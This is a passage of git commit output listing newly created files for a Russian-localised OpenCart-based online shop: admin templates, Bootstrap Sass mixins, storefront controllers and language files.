create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_background-variant.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_border-radius.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_buttons.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_center-block.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_clearfix.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_forms.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_gradients.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_grid-framework.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_grid.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_hide-text.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_image.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_labels.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_list-group.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_nav-divider.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_nav-vertical-align.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_opacity.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_pagination.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_panels.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_progress-bar.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_reset-filter.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_reset-text.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_resize.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_responsive-visibility.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_size.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_tab-focus.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_table-row.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_text-emphasis.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_text-overflow.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_vendor-prefixes.scss
create mode 100644 public/admin/view/stylesheet/stylesheet.css
create mode 100644 public/admin/view/template/blog/article_form.twig
create mode 100644 public/admin/view/template/blog/article_list.twig
create mode 100644 public/admin/view/template/blog/category_form.twig
create mode 100644 public/admin/view/template/blog/category_list.twig
create mode 100644 public/admin/view/template/blog/review_form.twig
create mode 100644 public/admin/view/template/blog/review_list.twig
create mode 100644 public/admin/view/template/blog/setting.twig
create mode 100644 public/admin/view/template/catalog/attribute_form.twig
create mode 100644 public/admin/view/template/catalog/attribute_group_form.twig
create mode 100644 public/admin/view/template/catalog/attribute_group_list.twig
create mode 100644 public/admin/view/template/catalog/attribute_list.twig
create mode 100644 public/admin/view/template/catalog/category_form.twig
create mode 100644 public/admin/view/template/catalog/category_list.twig
create mode 100644 public/admin/view/template/catalog/download_form.twig
create mode 100644 public/admin/view/template/catalog/download_list.twig
create mode 100644 public/admin/view/template/catalog/filter_form.twig
create mode 100644 public/admin/view/template/catalog/filter_list.twig
create mode 100644 public/admin/view/template/catalog/information_form.twig
create mode 100644 public/admin/view/template/catalog/information_list.twig
create mode 100644 public/admin/view/template/catalog/manufacturer_form.twig
create mode 100644 public/admin/view/template/catalog/manufacturer_list.twig
create mode 100644 public/admin/view/template/catalog/option_form.twig
create mode 100644 public/admin/view/template/catalog/option_list.twig
create mode 100644 public/admin/view/template/catalog/product_form.twig
create mode 100644 public/admin/view/template/catalog/product_list.twig
create mode 100644 public/admin/view/template/catalog/recurring_form.twig
create mode 100644 public/admin/view/template/catalog/recurring_list.twig
create mode 100644 public/admin/view/template/catalog/review_form.twig
create mode 100644 public/admin/view/template/catalog/review_list.twig
create mode 100644 public/admin/view/template/common/column_left.twig
create mode 100644 public/admin/view/template/common/dashboard.twig
create mode 100644 public/admin/view/template/common/developer.twig
create mode 100644 public/admin/view/template/common/filemanager.twig
create mode 100644 public/admin/view/template/common/footer.twig
create mode 100644 public/admin/view/template/common/forgotten.twig
create mode 100644 public/admin/view/template/common/header.twig
create mode 100644 public/admin/view/template/common/login.twig
create mode 100644 public/admin/view/template/common/profile.twig
create mode 100644 public/admin/view/template/common/reset.twig
create mode 100644 public/admin/view/template/common/security.twig
create mode 100644 public/admin/view/template/customer/custom_field_form.twig
create mode 100644 public/admin/view/template/customer/custom_field_list.twig
create mode 100644 public/admin/view/template/customer/customer_approval.twig
create mode 100644 public/admin/view/template/customer/customer_approval_list.twig
create mode 100644 public/admin/view/template/customer/customer_form.twig
create mode 100644 public/admin/view/template/customer/customer_group_form.twig
create mode 100644 public/admin/view/template/customer/customer_group_list.twig
create mode 100644 public/admin/view/template/customer/customer_history.twig
create mode 100644 public/admin/view/template/customer/customer_ip.twig
create mode 100644 public/admin/view/template/customer/customer_list.twig
create mode 100644 public/admin/view/template/customer/customer_reward.twig
create mode 100644 public/admin/view/template/customer/customer_transaction.twig
create mode 100644 public/admin/view/template/design/banner_form.twig
create mode 100644 public/admin/view/template/design/banner_list.twig
create mode 100644 public/admin/view/template/design/layout_form.twig
create mode 100644 public/admin/view/template/design/layout_list.twig
create mode 100644 public/admin/view/template/design/seo_url_form.twig
create mode 100644 public/admin/view/template/design/seo_url_list.twig
create mode 100644 public/admin/view/template/design/theme.twig
create mode 100644 public/admin/view/template/design/theme_history.twig
create mode 100644 public/admin/view/template/design/translation_form.twig
create mode 100644 public/admin/view/template/design/translation_list.twig
create mode 100644 public/admin/view/template/error/not_found.twig
create mode 100644 public/admin/view/template/error/permission.twig
create mode 100644 public/admin/view/template/extension/advertise/google.twig
create mode 100644 public/admin/view/template/extension/advertise/google_ads.twig
create mode 100644 public/admin/view/template/extension/advertise/google_campaign.twig
create mode 100644 public/admin/view/template/extension/advertise/google_checklist.twig
create mode 100644 public/admin/view/template/extension/advertise/google_connect.twig
create mode 100644 public/admin/view/template/extension/advertise/google_mapping.twig
create mode 100644 public/admin/view/template/extension/advertise/google_mapping_verify.twig
create mode 100644 public/admin/view/template/extension/advertise/google_merchant.twig
create mode 100644 public/admin/view/template/extension/advertise/google_popup_issues.twig
create mode 100644 public/admin/view/template/extension/advertise/google_popup_product.twig
create mode 100644 public/admin/view/template/extension/advertise/google_reports.twig
create mode 100644 public/admin/view/template/extension/advertise/google_settings.twig
create mode 100644 public/admin/view/template/extension/advertise/google_shipping_taxes.twig
create mode 100644 public/admin/view/template/extension/advertise/google_steps.twig
create mode 100644 public/admin/view/template/extension/analytics/google.twig
create mode 100644 public/admin/view/template/extension/analytics/yandex_metrika.twig
create mode 100644 public/admin/view/template/extension/captcha/basic.twig
create mode 100644 public/admin/view/template/extension/captcha/google.twig
create mode 100644 public/admin/view/template/extension/currency/cbr.twig
create mode 100644 public/admin/view/template/extension/currency/ecb.twig
create mode 100644 public/admin/view/template/extension/currency/fixer.twig
create mode 100644 public/admin/view/template/extension/currency/nbu.twig
create mode 100644 public/admin/view/template/extension/dashboard/activity_form.twig
create mode 100644 public/admin/view/template/extension/dashboard/activity_info.twig
create mode 100644 public/admin/view/template/extension/dashboard/chart_form.twig
create mode 100644 public/admin/view/template/extension/dashboard/chart_info.twig
create mode 100644 public/admin/view/template/extension/dashboard/customer_form.twig
create mode 100644 public/admin/view/template/extension/dashboard/customer_info.twig
create mode 100644 public/admin/view/template/extension/dashboard/domovoy_form.twig
create mode 100644 public/admin/view/template/extension/dashboard/domovoy_info.twig
create mode 100644 public/admin/view/template/extension/dashboard/map_form.twig
create mode 100644 public/admin/view/template/extension/dashboard/map_info.twig
create mode 100644 public/admin/view/template/extension/dashboard/online_form.twig
create mode 100644 public/admin/view/template/extension/dashboard/online_info.twig
create mode 100644 public/admin/view/template/extension/dashboard/order_form.twig
create mode 100644 public/admin/view/template/extension/dashboard/order_info.twig
create mode 100644 public/admin/view/template/extension/dashboard/phpinfo.twig
create mode 100644 public/admin/view/template/extension/dashboard/recent_form.twig
create mode 100644 public/admin/view/template/extension/dashboard/recent_info.twig
create mode 100644 public/admin/view/template/extension/dashboard/sale_form.twig
create mode 100644 public/admin/view/template/extension/dashboard/sale_info.twig
create mode 100644 public/admin/view/template/extension/export_import.twig
create mode 100644 public/admin/view/template/extension/extension/advertise.twig
create mode 100644 public/admin/view/template/extension/extension/analytics.twig
create mode 100644 public/admin/view/template/extension/extension/captcha.twig
create mode 100644 public/admin/view/template/extension/extension/currency.twig
create mode 100644 public/admin/view/template/extension/extension/dashboard.twig
create mode 100644 public/admin/view/template/extension/extension/feed.twig
create mode 100644 public/admin/view/template/extension/extension/fraud.twig
create mode 100644 public/admin/view/template/extension/extension/menu.twig
create mode 100644 public/admin/view/template/extension/extension/module.twig
create mode 100644 public/admin/view/template/extension/extension/payment.twig
create mode 100644 public/admin/view/template/extension/extension/report.twig
create mode 100644 public/admin/view/template/extension/extension/shipping.twig
create mode 100644 public/admin/view/template/extension/extension/theme.twig
create mode 100644 public/admin/view/template/extension/extension/total.twig
create mode 100644 public/admin/view/template/extension/feed/google_base.twig
create mode 100644 public/admin/view/template/extension/feed/google_base_category.twig
create mode 100644 public/admin/view/template/extension/feed/google_sitemap.twig
create mode 100644 public/admin/view/template/extension/feed/google_sitemap_fast.twig
create mode 100644 public/admin/view/template/extension/feed/unisender.twig
create mode 100644 public/admin/view/template/extension/feed/yandex_market.twig
create mode 100644 public/admin/view/template/extension/feed/yandex_turbo.twig
create mode 100644 public/admin/view/template/extension/fraud/fraudlabspro.twig
create mode 100644 public/admin/view/template/extension/fraud/fraudlabspro_info.twig
create mode 100644 public/admin/view/template/extension/fraud/ip.twig
create mode 100644 public/admin/view/template/extension/fraud/ip_ip.twig
create mode 100644 public/admin/view/template/extension/fraud/maxmind.twig
create mode 100644 public/admin/view/template/extension/fraud/maxmind_info.twig
create mode 100644 public/admin/view/template/extension/module/account.twig
create mode 100644 public/admin/view/template/extension/module/banner.twig
create mode 100644 public/admin/view/template/extension/module/bestseller.twig
create mode 100644 public/admin/view/template/extension/module/blog_category.twig
create mode 100644 public/admin/view/template/extension/module/blog_featured.twig
create mode 100644 public/admin/view/template/extension/module/blog_latest.twig
create mode 100644 public/admin/view/template/extension/module/carousel.twig
create mode 100644 public/admin/view/template/extension/module/category.twig
create mode 100644 public/admin/view/template/extension/module/featured.twig
create mode 100644 public/admin/view/template/extension/module/featured_article.twig
create mode 100644 public/admin/view/template/extension/module/featured_product.twig
create mode 100644 public/admin/view/template/extension/module/filter.twig
create mode 100644 public/admin/view/template/extension/module/html.twig
create mode 100644 public/admin/view/template/extension/module/information.twig
create mode 100644 public/admin/view/template/extension/module/latest.twig
create mode 100644 public/admin/view/template/extension/module/lightshop.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/callback_form.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/callback_list.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/lightshop_blog_form.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/lightshop_blog_list.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/lightshop_news_form.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/lightshop_news_list.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/lightshop_sets_form.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/lightshop_sets_list.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/lightshop_tab_form.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/lightshop_tab_list.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/lightshopblog_review_form.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/lightshopblog_review_list.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/lightshopcatblog_form.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/lightshopcatblog_list.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/subscribe_form.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/subscribe_list.twig
create mode 100644 public/admin/view/template/extension/module/lightshopcatalog/subscribe_mail.twig
create mode 100644 public/admin/view/template/extension/module/oc3x_storage_cleaner.twig
create mode 100644 public/admin/view/template/extension/module/slideshow.twig
create mode 100644 public/admin/view/template/extension/module/special.twig
create mode 100644 public/admin/view/template/extension/module/store.twig
create mode 100644 public/admin/view/template/extension/module/subcategory.twig
create mode 100644 public/admin/view/template/extension/module/wd_banners.twig
create mode 100644 public/admin/view/template/extension/payment/cod.twig
create mode 100644 public/admin/view/template/extension/report/customer_activity_form.twig
create mode 100644 public/admin/view/template/extension/report/customer_activity_info.twig
create mode 100644 public/admin/view/template/extension/report/customer_order_form.twig
create mode 100644 public/admin/view/template/extension/report/customer_order_info.twig
create mode 100644 public/admin/view/template/extension/report/customer_reward_form.twig
create mode 100644 public/admin/view/template/extension/report/customer_reward_info.twig
create mode 100644 public/admin/view/template/extension/report/customer_search_form.twig
create mode 100644 public/admin/view/template/extension/report/customer_search_info.twig
create mode 100644 public/admin/view/template/extension/report/customer_transaction_form.twig
create mode 100644 public/admin/view/template/extension/report/customer_transaction_info.twig
create mode 100644 public/admin/view/template/extension/report/marketing_form.twig
create mode 100644 public/admin/view/template/extension/report/marketing_info.twig
create mode 100644 public/admin/view/template/extension/report/product_purchased_form.twig
create mode 100644 public/admin/view/template/extension/report/product_purchased_info.twig
create mode 100644 public/admin/view/template/extension/report/product_viewed_form.twig
create mode 100644 public/admin/view/template/extension/report/product_viewed_info.twig
create mode 100644 public/admin/view/template/extension/report/sale_coupon_form.twig
create mode 100644 public/admin/view/template/extension/report/sale_coupon_info.twig
create mode 100644 public/admin/view/template/extension/report/sale_order_form.twig
create mode 100644 public/admin/view/template/extension/report/sale_order_info.twig
create mode 100644 public/admin/view/template/extension/report/sale_return_form.twig
create mode 100644 public/admin/view/template/extension/report/sale_return_info.twig
create mode 100644 public/admin/view/template/extension/report/sale_shipping_form.twig
create mode 100644 public/admin/view/template/extension/report/sale_shipping_info.twig
create mode 100644 public/admin/view/template/extension/report/sale_tax_form.twig
create mode 100644 public/admin/view/template/extension/report/sale_tax_info.twig
create mode 100644 public/admin/view/template/extension/shipping/flat.twig
create mode 100644 public/admin/view/template/extension/theme/default.twig
create mode 100644 public/admin/view/template/extension/theme/dominik.twig
create mode 100644 public/admin/view/template/extension/theme/theme_lightshop.twig
create mode 100644 public/admin/view/template/extension/theme/theme_lightshop_nl.twig
create mode 100644 public/admin/view/template/extension/total/coupon.twig
create mode 100644 public/admin/view/template/extension/total/credit.twig
create mode 100644 public/admin/view/template/extension/total/handling.twig
create mode 100644 public/admin/view/template/extension/total/lightshopsets.twig
create mode 100644 public/admin/view/template/extension/total/low_order_fee.twig
create mode 100644 public/admin/view/template/extension/total/reward.twig
create mode 100644 public/admin/view/template/extension/total/shipping.twig
create mode 100644 public/admin/view/template/extension/total/sub_total.twig
create mode 100644 public/admin/view/template/extension/total/tax.twig
create mode 100644 public/admin/view/template/extension/total/total.twig
create mode 100644 public/admin/view/template/extension/total/voucher.twig
create mode 100644 public/admin/view/template/localisation/country_form.twig
create mode 100644 public/admin/view/template/localisation/country_list.twig
create mode 100644 public/admin/view/template/localisation/currency_form.twig
create mode 100644 public/admin/view/template/localisation/currency_list.twig
create mode 100644 public/admin/view/template/localisation/geo_zone_form.twig
create mode 100644 public/admin/view/template/localisation/geo_zone_list.twig
create mode 100644 public/admin/view/template/localisation/language_form.twig
create mode 100644 public/admin/view/template/localisation/language_list.twig
create mode 100644 public/admin/view/template/localisation/length_class_form.twig
create mode 100644 public/admin/view/template/localisation/length_class_list.twig
create mode 100644 public/admin/view/template/localisation/location_form.twig
create mode 100644 public/admin/view/template/localisation/location_list.twig
create mode 100644 public/admin/view/template/localisation/order_status_form.twig
create mode 100644 public/admin/view/template/localisation/order_status_list.twig
create mode 100644 public/admin/view/template/localisation/return_action_form.twig
create mode 100644 public/admin/view/template/localisation/return_action_list.twig
create mode 100644 public/admin/view/template/localisation/return_reason_form.twig
create mode 100644 public/admin/view/template/localisation/return_reason_list.twig
create mode 100644 public/admin/view/template/localisation/return_status_form.twig
create mode 100644 public/admin/view/template/localisation/return_status_list.twig
create mode 100644 public/admin/view/template/localisation/stock_status_form.twig
create mode 100644 public/admin/view/template/localisation/stock_status_list.twig
create mode 100644 public/admin/view/template/localisation/tax_class_form.twig
create mode 100644 public/admin/view/template/localisation/tax_class_list.twig
create mode 100644 public/admin/view/template/localisation/tax_rate_form.twig
create mode 100644 public/admin/view/template/localisation/tax_rate_list.twig
create mode 100644 public/admin/view/template/localisation/weight_class_form.twig
create mode 100644 public/admin/view/template/localisation/weight_class_list.twig
create mode 100644 public/admin/view/template/localisation/zone_form.twig
create mode 100644 public/admin/view/template/localisation/zone_list.twig
create mode 100644 public/admin/view/template/mail/affiliate_approve.twig
create mode 100644 public/admin/view/template/mail/affiliate_deny.twig
create mode 100644 public/admin/view/template/mail/customer_approve.twig
create mode 100644 public/admin/view/template/mail/customer_deny.twig
create mode 100644 public/admin/view/template/mail/forgotten.twig
create mode 100644 public/admin/view/template/mail/return.twig
create mode 100644 public/admin/view/template/mail/reward.twig
create mode 100644 public/admin/view/template/mail/transaction.twig
create mode 100644 public/admin/view/template/mail/voucher.twig
create mode 100644 public/admin/view/template/marketing/contact.twig
create mode 100644 public/admin/view/template/marketing/coupon_form.twig
create mode 100644 public/admin/view/template/marketing/coupon_history.twig
create mode 100644 public/admin/view/template/marketing/coupon_list.twig
create mode 100644 public/admin/view/template/marketing/marketing_form.twig
create mode 100644 public/admin/view/template/marketing/marketing_list.twig
create mode 100644 public/admin/view/template/marketplace/api.twig
create mode 100644 public/admin/view/template/marketplace/event.twig
create mode 100644 public/admin/view/template/marketplace/extension.twig
create mode 100644 public/admin/view/template/marketplace/installer.twig
create mode 100644 public/admin/view/template/marketplace/installer_history.twig
create mode 100644 public/admin/view/template/marketplace/marketplace_comment.twig
create mode 100644 public/admin/view/template/marketplace/marketplace_info.twig
create mode 100644 public/admin/view/template/marketplace/marketplace_list.twig
create mode 100644 public/admin/view/template/marketplace/marketplace_reply.twig
create mode 100644 public/admin/view/template/marketplace/modification.twig
create mode 100644 public/admin/view/template/marketplace/modification_file.twig
create mode 100644 public/admin/view/template/marketplace/modification_form.twig
create mode 100644 public/admin/view/template/marketplace/modification_operation.twig
create mode 100644 public/admin/view/template/marketplace/opencartforum_info.twig
create mode 100644 public/admin/view/template/marketplace/opencartforum_list.twig
create mode 100644 public/admin/view/template/report/online.twig
create mode 100644 public/admin/view/template/report/report.twig
create mode 100644 public/admin/view/template/report/statistics.twig
create mode 100644 public/admin/view/template/sale/order_form.twig
create mode 100644 public/admin/view/template/sale/order_history.twig
create mode 100644 public/admin/view/template/sale/order_info.twig
create mode 100644 public/admin/view/template/sale/order_invoice.twig
create mode 100644 public/admin/view/template/sale/order_list.twig
create mode 100644 public/admin/view/template/sale/order_shipping.twig
create mode 100644 public/admin/view/template/sale/recurring_button.twig
create mode 100644 public/admin/view/template/sale/recurring_info.twig
create mode 100644 public/admin/view/template/sale/recurring_list.twig
create mode 100644 public/admin/view/template/sale/return_form.twig
create mode 100644 public/admin/view/template/sale/return_history.twig
create mode 100644 public/admin/view/template/sale/return_list.twig
create mode 100644 public/admin/view/template/sale/voucher_form.twig
create mode 100644 public/admin/view/template/sale/voucher_history.twig
create mode 100644 public/admin/view/template/sale/voucher_list.twig
create mode 100644 public/admin/view/template/sale/voucher_theme_form.twig
create mode 100644 public/admin/view/template/sale/voucher_theme_list.twig
create mode 100644 public/admin/view/template/search/catalog_result.twig
create mode 100644 public/admin/view/template/search/customers_result.twig
create mode 100644 public/admin/view/template/search/orders_result.twig
create mode 100644 public/admin/view/template/search/search.twig
create mode 100644 public/admin/view/template/service/service_form.twig
create mode 100644 public/admin/view/template/service/service_list.twig
create mode 100644 public/admin/view/template/setting/setting.twig
create mode 100644 public/admin/view/template/setting/store_form.twig
create mode 100644 public/admin/view/template/setting/store_list.twig
create mode 100644 public/admin/view/template/tool/backup.twig
create mode 100644 public/admin/view/template/tool/log.twig
create mode 100644 public/admin/view/template/tool/upload.twig
create mode 100644 public/admin/view/template/user/api_form.twig
create mode 100644 public/admin/view/template/user/api_list.twig
create mode 100644 public/admin/view/template/user/user_form.twig
create mode 100644 public/admin/view/template/user/user_group_form.twig
create mode 100644 public/admin/view/template/user/user_group_list.twig
create mode 100644 public/admin/view/template/user/user_list.twig
create mode 100644 public/index.php
create mode 100644 public/php.ini
create mode 100644 public/robots.txt
create mode 100644 public/store/controller/account/account.php
create mode 100644 public/store/controller/account/address.php
create mode 100644 public/store/controller/account/affiliate.php
create mode 100644 public/store/controller/account/download.php
create mode 100644 public/store/controller/account/edit.php
create mode 100644 public/store/controller/account/forgotten.php
create mode 100644 public/store/controller/account/login.php
create mode 100644 public/store/controller/account/logout.php
create mode 100644 public/store/controller/account/newsletter.php
create mode 100644 public/store/controller/account/order.php
create mode 100644 public/store/controller/account/password.php
create mode 100644 public/store/controller/account/recurring.php
create mode 100644 public/store/controller/account/register.php
create mode 100644 public/store/controller/account/reset.php
create mode 100644 public/store/controller/account/return.php
create mode 100644 public/store/controller/account/reward.php
create mode 100644 public/store/controller/account/success.php
create mode 100644 public/store/controller/account/tracking.php
create mode 100644 public/store/controller/account/transaction.php
create mode 100644 public/store/controller/account/voucher.php
create mode 100644 public/store/controller/account/wishlist.php
create mode 100644 public/store/controller/affiliate/login.php
create mode 100644 public/store/controller/affiliate/register.php
create mode 100644 public/store/controller/affiliate/success.php
create mode 100644 public/store/controller/api/cart.php
create mode 100644 public/store/controller/api/coupon.php
create mode 100644 public/store/controller/api/currency.php
create mode 100644 public/store/controller/api/customer.php
create mode 100644 public/store/controller/api/login.php
create mode 100644 public/store/controller/api/order.php
create mode 100644 public/store/controller/api/payment.php
create mode 100644 public/store/controller/api/reward.php
create mode 100644 public/store/controller/api/shipping.php
create mode 100644 public/store/controller/api/voucher.php
create mode 100644 public/store/controller/blog/article.php
create mode 100644 public/store/controller/blog/category.php
create mode 100644 public/store/controller/blog/latest.php
create mode 100644 public/store/controller/blog/menu.php
create mode 100644 public/store/controller/checkout/cart.php
create mode 100644 public/store/controller/checkout/checkout.php
create mode 100644 public/store/controller/checkout/confirm.php
create mode 100644 public/store/controller/checkout/failure.php
create mode 100644 public/store/controller/checkout/guest.php
create mode 100644 public/store/controller/checkout/guest_shipping.php
create mode 100644 public/store/controller/checkout/login.php
create mode 100644 public/store/controller/checkout/payment_address.php
create mode 100644 public/store/controller/checkout/payment_method.php
create mode 100644 public/store/controller/checkout/register.php
create mode 100644 public/store/controller/checkout/shipping_address.php
create mode 100644 public/store/controller/checkout/shipping_method.php
create mode 100644 public/store/controller/checkout/success.php
create mode 100644 public/store/controller/common/cart.php
create mode 100644 public/store/controller/common/column_left.php
create mode 100644 public/store/controller/common/column_right.php
create mode 100644 public/store/controller/common/content_bottom.php
create mode 100644 public/store/controller/common/content_top.php
create mode 100644 public/store/controller/common/currency.php
create mode 100644 public/store/controller/common/footer.php
create mode 100644 public/store/controller/common/header.php
create mode 100644 public/store/controller/common/home.php
create mode 100644 public/store/controller/common/language.php
create mode 100644 public/store/controller/common/maintenance.php
create mode 100644 public/store/controller/common/menu.php
create mode 100644 public/store/controller/common/search.php
create mode 100644 public/store/controller/error/not_found.php
create mode 100644 public/store/controller/event/activity.php
create mode 100644 public/store/controller/event/debug.php
create mode 100644 public/store/controller/event/language.php
create mode 100644 public/store/controller/event/statistics.php
create mode 100644 public/store/controller/event/theme.php
create mode 100644 public/store/controller/event/translation.php
create mode 100644 public/store/controller/extension/advertise/google.php
create mode 100644 public/store/controller/extension/analytics/google.php
create mode 100644 public/store/controller/extension/analytics/yandex_metrika.php
create mode 100644 public/store/controller/extension/captcha/basic.php
create mode 100644 public/store/controller/extension/captcha/google.php
create mode 100644 public/store/controller/extension/feed/google_base.php
create mode 100644 public/store/controller/extension/feed/google_sitemap.php
create mode 100644 public/store/controller/extension/feed/google_sitemap_fast.php
create mode 100644 public/store/controller/extension/feed/unisender.php
create mode 100644 public/store/controller/extension/feed/yandex_market.php
create mode 100644 public/store/controller/extension/feed/yandex_turbo.php
create mode 100644 public/store/controller/extension/module/account.php
create mode 100644 public/store/controller/extension/module/banner.php
create mode 100644 public/store/controller/extension/module/bestseller.php
create mode 100644 public/store/controller/extension/module/blog_category.php
create mode 100644 public/store/controller/extension/module/blog_featured.php
create mode 100644 public/store/controller/extension/module/blog_latest.php
create mode 100644 public/store/controller/extension/module/callback.php
create mode 100644 public/store/controller/extension/module/carousel.php
create mode 100644 public/store/controller/extension/module/category.php
create mode 100644 public/store/controller/extension/module/featured.php
create mode 100644 public/store/controller/extension/module/featured_article.php
create mode 100644 public/store/controller/extension/module/featured_product.php
create mode 100644 public/store/controller/extension/module/filter.php
create mode 100644 public/store/controller/extension/module/html.php
create mode 100644 public/store/controller/extension/module/information.php
create mode 100644 public/store/controller/extension/module/latest.php
create mode 100644 public/store/controller/extension/module/slideshow.php
create mode 100644 public/store/controller/extension/module/special.php
create mode 100644 public/store/controller/extension/module/store.php
create mode 100644 public/store/controller/extension/module/subcategory.php
create mode 100644 public/store/controller/extension/module/wd_banners.php
create mode 100644 public/store/controller/extension/payment/cod.php
create mode 100644 public/store/controller/extension/total/coupon.php
create mode 100644 public/store/controller/extension/total/reward.php
create mode 100644 public/store/controller/extension/total/shipping.php
create mode 100644 public/store/controller/extension/total/voucher.php
create mode 100644 public/store/controller/information/contact.php
create mode 100644 public/store/controller/information/information.php
create mode 100644 public/store/controller/information/sitemap.php
create mode 100644 public/store/controller/mail/affiliate.php
create mode 100644 public/store/controller/mail/forgotten.php
create mode 100644 public/store/controller/mail/order.php
create mode 100644 public/store/controller/mail/register.php
create mode 100644 public/store/controller/mail/transaction.php
create mode 100644 public/store/controller/product/category.php
create mode 100644 public/store/controller/product/compare.php
create mode 100644 public/store/controller/product/manufacturer.php
create mode 100644 public/store/controller/product/product.php
create mode 100644 public/store/controller/product/search.php
create mode 100644 public/store/controller/product/special.php
create mode 100644 public/store/controller/service/service.php
create mode 100644 public/store/controller/startup/error.php
create mode 100644 public/store/controller/startup/event.php
create mode 100644 public/store/controller/startup/maintenance.php
create mode 100644 public/store/controller/startup/router.php
create mode 100644 public/store/controller/startup/seo_url.php
create mode 100644 public/store/controller/startup/session.php
create mode 100644 public/store/controller/startup/startup.php
create mode 100644 public/store/controller/tool/callback.php
create mode 100644 public/store/controller/tool/upload.php
create mode 100644 public/store/language/ru-ru/account/account.php
create mode 100644 public/store/language/ru-ru/account/address.php
create mode 100644 public/store/language/ru-ru/account/affiliate.php
create mode 100644 public/store/language/ru-ru/account/download.php
create mode 100644 public/store/language/ru-ru/account/edit.php
create mode 100644 public/store/language/ru-ru/account/forgotten.php
create mode 100644 public/store/language/ru-ru/account/login.php
create mode 100644 public/store/language/ru-ru/account/logout.php
create mode 100644 public/store/language/ru-ru/account/newsletter.php
create mode 100644 public/store/language/ru-ru/account/order.php
create mode 100644 public/store/language/ru-ru/account/password.php
create mode 100644 public/store/language/ru-ru/account/recurring.php
create mode 100644 public/store/language/ru-ru/account/register.php
create mode 100644 public/store/language/ru-ru/account/reset.php
create mode 100644 public/store/language/ru-ru/account/return.php
create mode 100644 public/store/language/ru-ru/account/reward.php
create mode 100644 public/store/language/ru-ru/account/success.php
create mode 100644 public/store/language/ru-ru/account/tracking.php
create mode 100644 public/store/language/ru-ru/account/transaction.php
create mode 100644 public/store/language/ru-ru/account/voucher.php
create mode 100644 public/store/language/ru-ru/account/wishlist.php
create mode 100644 public/store/language/ru-ru/affiliate/account.php
create mode 100644 public/store/language/ru-ru/affiliate/edit.php
create mode 100644 public/store/language/ru-ru/affiliate/forgotten.php
create mode 100644 public/store/language/ru-ru/affiliate/login.php
create mode 100644 public/store/language/ru-ru/affiliate/logout.php
create mode 100644 public/store/language/ru-ru/affiliate/password.php
create mode 100644 public/store/language/ru-ru/affiliate/payment.php
create mode 100644 public/store/language/ru-ru/affiliate/register.php
create mode 100644 public/store/language/ru-ru/affiliate/success.php
create mode 100644 public/store/language/ru-ru/affiliate/tracking.php
create mode 100644 public/store/language/ru-ru/affiliate/transaction.php
create mode 100644 public/store/language/ru-ru/api/cart.php
create mode 100644 public/store/language/ru-ru/api/coupon.php
create mode 100644 public/store/language/ru-ru/api/currency.php
create mode 100644 public/store/language/ru-ru/api/customer.php
create mode 100644 public/store/language/ru-ru/api/login.php
create mode 100644 public/store/language/ru-ru/api/order.php
create mode 100644 public/store/language/ru-ru/api/payment.php
create mode 100644 public/store/language/ru-ru/api/reward.php
create mode 100644 public/store/language/ru-ru/api/shipping.php
create mode 100644 public/store/language/ru-ru/api/voucher.php
create mode 100644 public/store/language/ru-ru/blog/article.php
create mode 100644 public/store/language/ru-ru/blog/category.php
create mode 100644 public/store/language/ru-ru/blog/latest.php
create mode 100644 public/store/language/ru-ru/blog/mail/review.php
create mode 100644 public/store/language/ru-ru/blog/menu.php
create mode 100644 public/store/language/ru-ru/checkout/cart.php
create mode 100644 public/store/language/ru-ru/checkout/checkout.php
create mode 100644 public/store/language/ru-ru/checkout/failure.php
create mode 100644 public/store/language/ru-ru/checkout/success.php
create mode 100644 public/store/language/ru-ru/common/cart.php
create mode 100644 public/store/language/ru-ru/common/currency.php
create mode 100644 public/store/language/ru-ru/common/footer.php
create mode 100644 public/store/language/ru-ru/common/header.php
